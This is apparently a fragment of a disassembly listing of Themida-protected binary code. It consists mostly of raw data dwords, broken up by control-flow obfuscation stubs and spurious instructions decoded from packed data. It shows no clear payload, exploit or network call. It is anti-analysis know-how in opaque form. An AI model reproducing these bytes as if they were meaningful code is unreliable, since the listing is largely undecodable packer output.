0CF52D4F6h, 2B9936B4h dd 0B626E23Dh, 0DD85C77Ah, 7FA16h, 0B7000000h, 0F446E954h dd 0B589FFFFh, 7FA31DDh, 9D8BC18Bh, 7FA21CDh, 199858Dh dd 0B58907FAh, 7FA1469h, 88F0F90h, 50000000h, 0FFA8A52h dd 50585A31h, 0F605250h, 85h, 310F6100h, 5AD98B66h, 6A9058h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 5CC9EFC3h, 94A8F99Eh, 0E898FC25h, 9, 0E14682C6h, 1C0E51EFh dd 0DEC781ADh, 5F15DB2Dh, 3225BD89h, 0FA8B07FAh, 6A006Ah dd 68C0Fh, 8D290000h, 7FA2625h, 38CB858Dh, 0E78007FFh dd 5C083DBh, 9289CF81h, 60900668h, 61FB8B66h, 90FA8B50h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 44C35747h dd 0D8BDA7D1h, 1D9D8B2Ah, 6A07FA2Ah, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 502827FDh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 2B62C9C3h, 0BA6660ACh, 816675F3h, 61CE5BDBh dd 2BE995FFh, 0BF6607FAh, 8D8D50E2h, 7FDD711h, 0FFFA8B66h dd 0E78166D1h, 0BD83BEEDh, 7FA33EDh, 61850F01h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 0B5A3C355h, 65958919h, 6A07FA1Ch, 0EF816602h dd 5090F531h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 905406F4h, 0F8F1437Fh, 2D85897Dh dd 0FF07FA2Dh, 0FA1C9595h, 0F9B70F07h, 0DEDE9h, 0E800h dd 815D0000h, 0FF38D5EDh, 0BD23F907h, 7FA1021h, 0B959858Dh dd 0F38107FDh, 3E831195h, 0B819589h, 509007FAh, 0C0CCD0BBh dd 50505F3Fh, 1F35BF52h, 310F76F2h, 2830Fh, 0F88B0000h dd 6A90585Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 0FB3CC357h, 391C5A47h, 95BD8B84h dd 8107FA01h, 39FB81CFh, 35FF645Eh, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_5D6D93 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6D93 proc near ; CODE XREF: Themida_:005D6D8Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_5D6D93 endp ; --------------------------------------------------------------------------- db 2Eh dd 0F37BBA3h, 48Ch, 8ABF6600h, 258964C2h, 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5D6DC3 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D6DC3 proc near ; CODE XREF: Themida_:005D6DBBp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5D6DC3 endp ; --------------------------------------------------------------------------- db 0E8h dd 606D8E72h, 5E8h, 4AD57600h, 816628D9h, 599A76EEh, 14BD9D89h dd 0F86107FAh, 104985FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 7E8E85C3h, 0C1B53148h dd 6A07FA2Dh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0D96AF0C3h, 791F8988h, 895282CEh dd 0FA0BC9B5h, 8B0F5F07h, 2, 0B5FFD88Ah, 7FA1E99h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 0DCC35040h, 0E96EE9F2h dd 7, 0A28AAFA3h, 0FF826296h, 0FA287595h, 125E907h, 85890000h dd 7FA0B0Dh, 0BD8B00B0h, 7FA2C59h, 8B6070E6h, 2820FD7h dd 0B6000000h, 71E4618Ch, 2239BD23h, 613C07FAh, 0F9830Fh dd 85310000h, 7FA2929h, 89C8B60Fh, 0FA2EFD9Dh, 8D895107h dd 7FA20C5h, 6BA5Fh, 85890000h, 7FA2999h, 9D8BC18Bh, 7FA1451h dd 8104E8C1h, 0FC6AC3CBh, 0E2F7667Dh, 0D03ABF57h, 2B5B07F4h dd 0A59D8BC8h, 8B07FA0Eh, 4D9589D1h, 0B707FA14h, 0A5E9E0h dd 10E90000h, 0B6000000h, 16A50C35h, 65967F3Dh, 0A6F1E93Fh dd 8B41C449h, 4E4985h, 0E9D98A44h, 9, 0DF4618F3h, 0CA480CC2h dd 7C083ECh, 2A7D9D8Bh, 0C08307FAh, 0CD9D8B00h, 3B07FA21h dd 1B830FD0h, 0E9000000h, 0Bh, 350BCDC2h, 3AB4234Fh, 0E97DFCF8h dd 4Bh, 2D31BD89h, 8D8B07FAh, 0FFFFFFFFh, 0DE9h, 4CE83900h dd 0A1F4411h, 83ADDE63h, 0E183E9B7h, 24840F01h, 0F000000h dd 381h, 0FEBF0F00h, 0FFFFA583h, 89FEFFFFh, 0FA0F518Dh dd 49958907h, 6644004Eh, 0E9DE8Bh, 8D000000h, 0FEB3D3B5h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 0F93DC087h, 60EDB0CDh, 26619D8Bh, 61F807FAh dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FFC66CC3h, 0FA101995h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 17EFF72Ah, 0A48B17B0h, 7FB99464h, 8B000010h, 0FA2C2DBDh dd 0FCE18307h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 37C35545h, 0AB63ED96h, 0FC17623Dh, 1F759D8Bh, 0C02B07FAh dd 10E8h, 0EDA56D00h, 0B6504DB0h, 0FDF483FCh, 0AD4C44F0h dd 0BE999h, 0B5370000h, 70EC3325h, 2FF0AE0Bh, 0D22B5B20h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 27C35040h dd 0D4DFC88Eh, 48B78CF5h, 6850F8Fh, 60000000h, 9FB2F38Bh dd 0C233AD61h, 0D003E8D1h, 7504E983h, 57006AF4h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 4BA031D5h, 8589ECE7h, 7FA1F69h, 0E0DBD8Bh, 0BF0F07FAh dd 880DF9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 0BC2AA2C3h, 209D9D8Bh, 958B07FAh dd 7FA1CD9h, 6860Fh, 0B5890000h, 7FA183Dh, 860Fh, 8D8B0000h dd 7FA31ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0B4C35545h, 0B362C19Eh, 3648C8F1h, 50DA8AD5h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 51006A58h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 9D4C14EBh dd 0B58938B2h, 7FA1F01h, 240DBD8Bh, 0BD8307FAh, 7FA2A29h dd 7A840F00h, 8B000000h, 0B8D8h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 5B9B83C3h dd 685F8AAAh, 8B8B9253h, 668D8DFEh, 6A07FA4Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 55B1C353h, 87715A9Ah, 0C6404C89h, 0EE8h, 8DD96900h dd 0FE765B77h, 0FE2C7336h, 66155B2Ch, 8248CF81h, 89E1FF5Fh dd 0FA21458Dh, 0D9BD8307h, 7FA2Bh, 40A840Fh, 0BE90000h dd 0E1000000h, 35235E9Fh, 0E0029E57h, 0BD83C81Ah, 7FA2BD9h dd 8840F01h, 0F000004h, 68Fh, 1B58900h, 8907FA2Ch, 0FA16F985h dd 0D9BD8307h, 307FA2Bh, 3B3860Fh, 0A3BB0000h, 60419E83h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B7C35545h dd 0FCA6EA0Eh, 6E9h, 0A30EAE00h, 66CAD25Bh, 12E9D98Ch dd 0D8000000h, 730CBB7Ah, 0F1392302h, 0F70BF796h, 3A598EE6h dd 4E180ABh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ch, 16C35343h, 0A98DA3E8h, 63366E1Eh, 0EE9h, 7834F200h dd 15F750F4h, 0A8BC46E7h, 0AE06F61h, 18840FC9h, 6A000001h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 906DC355h, 0B463A8FEh, 0CE8FAh, 69430000h dd 4BA61383h, 0C6E14BDh, 295B6234h, 0FA169D85h, 0E9858B07h dd 6A07FA0Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 8D59C357h, 1312A8F7h, 0C1BD8960h dd 6607FA2Eh, 3361F98Bh, 0FA15E185h, 0BF50F907h, 146E02BCh dd 60240489h, 29D88B66h, 0FA29A995h, 6A6107h, 0B3DF0E68h dd 21890FC9h, 50000000h, 10E852h, 0BCD10000h, 6DF99D3Dh dd 0EC12C3CBh, 125EECA1h, 0F5F13B9h, 0AAE0BF31h, 585A2C36h dd 0F1240481h, 0F5366B24h, 1CE995FFh, 0FE807FAh, 0DD000000h dd 3CA572C9h, 32823AC6h, 40AF39C9h, 870FAB03h, 1, 85895BF8h dd 7FDEB96h, 2341BF66h, 1CDE9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0EFBCDB1Eh dd 89959582h, 0FA10F985h, 8BCDB707h, 0FDEB8E85h, 81665707h dd 5BE21FC7h, 0A8EDC781h, 0C75046h, 18h, 2BF5BD01h, 0BD8B07FAh dd 7FA01FDh, 0EB92B58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 190424h, 53430000h, 879C1C3h, 8BF4DA16h dd 0FA1BE5BDh, 51858B07h, 6A07FA0Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0C8B3C353h dd 0F2EF6CCAh, 0FF5780Ah, 0C84h, 7E900h, 42390000h, 0CE983908h dd 6A0689B3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 5E8EC351h, 0EB3F57DCh, 0D936F466h dd 811BD8Bh, 858B07FAh, 7FA0FE9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 3BC35646h, 9BDEE982h, 6616BC14h dd 4689FA8Bh, 11858904h, 9607FA2Eh, 14E85250h, 6B000000h dd 0DAE26930h, 0E9B68718h, 0A5E073CAh, 0C5B557A2h, 5B21B031h dd 585A310Fh, 79BB6650h, 6A96C9h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0A16E23C3h, 0DA8B661Eh dd 0EB8EB5FFh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0C7544BC3h, 68BDB31Bh, 6C4C264Ah dd 0CE9h, 2B70CC00h, 14E77DAh, 0F745EDF8h, 24348170h, 6C5325B5h dd 1BF5BD01h, 858D07FAh, 7FDEB96h, 10799D8Bh, 895007FAh dd 66572404h, 0DD4EEB81h, 0E995FF5Bh, 6607FA1Ch, 8961FA8Bh dd 0FA2511B5h, 0D985C707h, 307FA2Bh, 0F000000h dd 0BD83FEBFh, 7FDEB96h, 4A840F00h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 3D58C357h, 9D29CD01h, 7FA2AA1h, 3BE9h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 4713B226h, 0C3050E2h, 11440011h, 10E8C101h, 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 34C35343h, 6A734361h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 0B427C357h dd 3D38542Eh, 8B80EB80h, 0FA1D3D9Dh, 0C1858907h, 8307FA22h dd 0FA2BD9BDh, 850F0307h, 3EAh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 51C35646h, 96BD83DAh, 7FDEBh dd 3C0840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 6D5D31C3h, 9D89AEE7h, 7FA2E11h dd 0B5FF5F56h, 7FDEB96h, 0B860Fh, 8C0F0000h, 5, 571B0DBFh dd 4595FF7Eh, 6A07FA27h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 0D613C352h, 0C979B0F9h dd 0B58BFA8Bh, 7FDEB8Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 1EC35646h, 0D6ED1B7Bh, 3AB5CA63h, 14E9h dd 0F48E5B00h, 49FA819Eh, 2BF933A0h, 563520DDh, 36D6A6F4h dd 106C71Bh, 66000100h, 8B50FA8Bh, 243489DFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0E4C35242h, 0A0DE6CABh dd 0BD95897Eh, 0E807FA18h, 7, 39AEB283h, 5B57D7D6h, 0EB96B5FFh dd 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 35BF7DC3h, 0FF20C6C7h, 0FA18E195h, 52006A07h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 7585899Dh, 8B07FA1Fh, 0FDEB8AB5h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 15F750F4h dd 8BDA8BE7h, 0FA1C7D85h, 0CD858907h, 8907FA01h, 0C486h dd 0D9958B00h, 0F07FA1Ch, 984h, 3800F00h, 0F000000h, 0C283FABFh dd 55B50904h, 8907FA01h, 6A2050h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 1514D2C3h, 0B4B1CE66h dd 0FC359E40h, 0FEF7858Dh, 0BB6607FDh, 86897400h, 0B8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C4C35242h dd 8B006A19h, 96B5FFDAh, 6A07FDEBh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0FF1AC353h dd 890FCFBAh, 6, 0BEB9CB81h, 95FF53CCh, 7FA1C95h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 3FC35545h, 0BD8BEC08h dd 7FA17D5h, 0CEB4DB81h, 0B7505C68h, 243489C1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6C35545h, 0D87B5C9h dd 0B31AD34h, 0FA30F59Dh, 96B5FF07h, 0FF07FDEBh, 0FA1D9595h dd 39BD8B07h, 5607FA01h, 0BD59D8Bh, 835B07FAh, 0FA0131BDh dd 840F0007h, 42h, 17199D31h, 0F9607FAh, 28Ah, 50FAB700h dd 8B665250h, 0F310FF9h, 89h, 96585A00h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 17h, 68C35747h, 66B7215Bh dd 0B5FFD88Bh, 7FDEB96h, 1A880F60h, 0E8000000h, 14h, 0A2D4162h dd 0AC1F96E9h, 0ACD438D5h, 0FEC317B8h, 0BD3148F9h, 5E85Bh dd 0BFF10000h, 0B1051B53h, 0FF6158A7h, 0FA1CB595h, 89BD8B07h dd 0FF07FA00h, 0FDEB96B5h, 0AD95FF07h, 8B07FA21h, 0FA26A99Dh dd 21BD8307h, 207FA22h, 54840Fh, 0BD330000h, 7FA3445h dd 1615858Bh, 6A07FAh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 56A54CC3h, 0C601A4h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 0F8BE79h, 9ABB6656h, 85C75F02h, 7FA16DDh, 0 dd 0EE8h, 0B6417D00h, 934CE2F3h, 57D2368Fh, 60134FA5h dd 3CB7D08Bh, 50E95B61h, 89FFFFF3h, 0FA180D85h, 6AC18B07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 134C350h, 7C53B266h, 0F2F978DFh, 1CED8D09h dd 858D07FAh, 7FA0199h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 63C35343h, 422DC92Eh, 5626BF50h, 4893B99h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 80115843h, 6ADCE7h, 6AD8B70Fh, 0A7858D00h dd 8307FF48h, 816605C0h, 5081C0C3h, 31240489h, 0FA21718Dh dd 95895307h, 7FA0099h, 6A006A5Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2B82C352h dd 0B77B77BFh, 9006A60h, 0FA29659Dh, 0E995FF07h, 6A07FA2Bh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0D86C351h, 1579E43Dh, 5677E381h, 8D8D188Ah dd 7FDD711h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 17h, 0B9C35343h, 8BEED422h, 0FA0FB59Dh, 0E8D1FF07h dd 11h, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh, 0C5BD8BA3h dd 5B07FA15h, 33EDBD83h, 0F0107FAh, 0C385h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0B0198F7Ch, 61606052h, 850F5F61h, 1Fh, 13E8h, 0F8669700h dd 33821518h, 1B747AC3h, 6E639A74h, 1DCB07E1h, 31D1BD09h dd 6A5F07FAh, 53006A02h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 897AFCBFh, 0FA182D95h, 81665007h dd 5F86B5DFh, 0BE95690h, 0B8000000h, 11D7C0A1h, 8A53C03Dh dd 505FEA6Eh, 958DBB66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 26523554h, 0C3A25966h dd 0BD29551Bh, 7FA0B9Dh, 1C9595FFh, 0DE8B07FAh, 0DBFE9h dd 0E800h, 815D0000h, 0FF48B1EDh, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0D5B22849h dd 6ADEAB2Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 17042444h, 43000000h, 0D4B8C353h, 0B501692Ch, 7FA07C9h dd 1C49BD31h, 858D07FAh, 7FDB959h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0DBC35747h, 663103A6h, 9D8B9AA2h dd 7FA0F9Dh, 79B75090h, 0FF64F890h, 35h, 0F1B58900h, 6407FA33h dd 2589h, 85090000h, 7FA02D1h, 104985FFh, 0FF6A07FAh, 0FFFFBF0Fh dd 0FA0E71B5h, 83BB6607h, 0EE96069h, 0C3000000h, 0ED427C28h dd 35B7EF97h, 0F05B2953h, 0D0816632h, 0FF6131A3h, 0FA287595h dd 0FAE907h, 8D090000h, 7FA10F5h, 6E800B0h, 14000000h dd 0B1CC1692h, 55BD8B4Ah, 5F07FA26h, 816670E6h, 0E4D232DBh dd 19D8971h, 8107FA28h, 819C6ACBh, 0F613C76h, 0C383h, 79850100h dd 0F07FA10h, 5160C8B6h, 16318D8Bh, 615807FAh, 6BAh, 0F88B6600h dd 6660C18Bh, 1332EF81h, 32859523h, 0C16107FAh, 0CB8104E8h dd 4F53518Ah, 0E9E2F766h, 9, 6B49077Fh, 4A1B426Ah, 0C82BFCAFh dd 33799589h, 0D18B07FAh, 0E9FEB70Fh, 6Ch, 4C858BFCh, 3505F4Ch dd 0FA2B21BDh, 0FBBF0F07h, 3307C083h, 0FA1045BDh, 0C08307h dd 0FD03BF9h, 0D83h, 19D2B00h, 0E907FA22h, 3Ch, 8D8B4FB3h dd 0FFFFFFFFh, 0DFD9D8Bh, 0E18307FAh, 25840F01h, 80000000h dd 0A5838ECBh, 0FFFFFFFFh, 5E9FEh, 0D2BB0000h, 8937F2EAh dd 5F4C4C95h, 79BD8B50h, 0E907FA2Ch, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+7FEC452h] push 0 push ebp call sub_5D7ED9 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7ED9 proc near ; CODE XREF: Themida_:005D7ED1p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5D7ED9 endp ; --------------------------------------------------------------------------- sahf push ebx enter 0FFFF816Ah, 8Bh mov ebp, 7FA2A59h push esi jmp loc_5D7F0E ; --------------------------------------------------------------------------- dw 128Fh ; --------------------------------------------------------------------------- rcr byte ptr [esi], 0E7h mov esp, ebp xchg al, [edx+1Fh] mov eax, 0C1F0A010h jl short loc_5D7F30 adc al, 56h cmc loc_5D7F0E: ; CODE XREF: Themida_:005D7EF5j pop edi push 0 push 0 push edx call sub_5D7F1C and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7F1C proc near ; CODE XREF: Themida_:005D7F14p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5D7F1C endp ; --------------------------------------------------------------------------- stosd xchg al, [edi-1] loc_5D7F30: ; CODE XREF: Themida_:005D7F09j inc ecx and [ecx-0Eh], ch xor al, 8Bh mov ebp, 7FA0B89h call dword ptr [ebp+7FA1019h] push ebx sbb di, 0DE6h pop edi mov ecx, 1005h push 0 push esi call sub_5D7F58 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7F58 proc near ; CODE XREF: Themida_:005D7F50p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ah inc esi push esi retn sub_5D7F58 endp ; --------------------------------------------------------------------------- pop esi retf 8722h ; --------------------------------------------------------------------------- pusha cmpsb retf 0E183h ; --------------------------------------------------------------------------- cld push 0 push edx call sub_5D7F7D and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D7F7D proc near ; CODE XREF: Themida_:005D7F75p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ah inc edx push edx retn sub_5D7F7D endp ; --------------------------------------------------------------------------- db 98h, 7Fh, 9Bh dd 0D43AE8C7h, 0AE9h, 7D2A0D00h, 7094B5C4h, 0FCCEB2E3h dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 47A3DAC3h, 29066372h, 0FA0841BDh, 0CE907h dd 0AED20000h, 0EBF97399h, 0D09C808h, 0D22BBEF6h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3CC35242h, 9407244Dh dd 0ADFBBF0Fh, 0E8D1C233h, 0E983D003h, 8BF47504h, 0FA18719Dh dd 880D07h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 4F8552C3h, 0B70FD773h, 0D9958BF9h dd 0B307FA1Ch, 0AD8D8BA3h, 5207FA31h, 8B505BF8h, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0B4C35646h, 15BB98Ah, 0FA29D985h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h dd 0C3554500h, 0EC781C6h, 0F7B3A5Ch, 0BD83FABFh, 7FA2A29h dd 73840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 93BC352h, 0FA1C999Dh dd 0B807h, 830F0000h, 6, 0B15BD8Bh, 8D8D07FAh, 7FA4F66h dd 13E951h, 71280000h, 0C9A501E5h, 85A360AAh, 0B947F076h dd 0A5B1417Eh, 0E1FF5F39h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 18C35646h, 0BD837DA3h, 7FA2BD9h, 68840F00h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0F14BC351h, 0AADC6310h, 850F65h dd 83000000h, 0FA2BD9BDh, 840F0107h, 44Eh, 896684BBh, 0D9BD834Ch dd 307FA2Bh, 406860Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 0A11F41C3h, 0C8B7B59Dh dd 56006A60h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h dd 0C3564600h, 8F1E9869h, 0F86A6F0Bh, 0D98C66FCh, 305B589h dd 0E18007FAh, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 896ADED6h, 0FA2C9D9Dh dd 0FC90A07h, 12D84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 81503AD8h, 22DE59EBh dd 858B5F36h, 7FA0FE9h, 1649B531h, 830F07FAh, 6, 34BDBD89h dd 853307FAh, 7FA15E1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 90C35141h, 0E9536090h, 7, 0EEE5FC40h dd 5F68AA81h, 10E85061h, 5F000000h, 0F8176773h, 0E3B63133h dd 9EEA1618h, 66AAA83Fh, 5F0155BFh, 51006A90h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0FBF99FEh dd 6A69ED3Fh, 0CBE66800h, 0BF66DABFh, 481BB45h, 5F381924h dd 11B58925h, 0FF07FA2Eh, 0FA1CE995h, 50006A07h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 3DECCE3Bh, 9D337B4Dh, 7FA2729h, 0EB968589h, 6A07FDh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 14F310C3h, 0E985DCF4h, 0ED8529FFh, 0E907FA10h, 1C0h dd 244D9D8Bh, 858B07FAh, 7FDEB8Eh, 0C75FF953h, 1800h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 70318574h, 9E986h, 0D56A0000h, 54A05456h, 8B6F941Ah dd 0FDEB92B5h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 7E966h, 1ABF0000h, 0C175BA8Dh dd 51858B0Fh, 6A07FA0Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 1800C353h, 8B29D9CDh dd 0FA20619Dh, 6A068907h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 983BC357h, 2BA19D0Bh dd 858B07FAh, 7FA0FE9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0F6C35747h, 89F37606h, 0FA2415BDh, 0FABF0F07h dd 0B3044689h, 0A9B501A2h, 5007FA17h, 3489FA8Bh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 0D034AA45h, 292001E6h, 8EB5FFDAh, 6A07FDEBh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h dd 5711C351h, 810AB51Ah, 6810Fh, 85890000h, 7FA1529h, 34498509h dd 0D56807FAh, 662DFB22h, 81CA06BBh, 212A2434h, 0CABF2DE4h dd 8D67AC24h, 0FDEB9685h, 0E3816607h, 5090CF33h, 0E860505Bh dd 0Ch, 807C064Ch, 1B53BFF1h, 0B6D34D05h, 7289ADBFh, 820F5B18h dd 13h, 0DE8h, 393D8000h, 0C05DA2FBh, 0AE426FB3h, 615E3589h dd 0FB8B6690h, 1CE995FFh, 0F88B07FAh, 51006A61h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 0FE871h, 54680000h, 5E153C82h, 476B64D9h, 164BE1CAh dd 0F98B664Bh, 0D985C75Fh, 307FA2Bh, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0FDFBC352h, 0FA20D7Dh, 38Eh, 0C1E78000h, 0EB96BD83h dd 0F0007FDh, 2B84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 4CECCF9Ah, 21E9F5h, 95290000h dd 7FA2181h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h dd 44300311h, 28580211h, 30011164h, 0E9831104h, 0EBE77504h dd 6AC08B00h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FCCC351h, 689h, 559D8B00h, 6607FA2Bh dd 8362B4BFh, 0FA2BD9BDh, 850F0307h, 46Ah, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 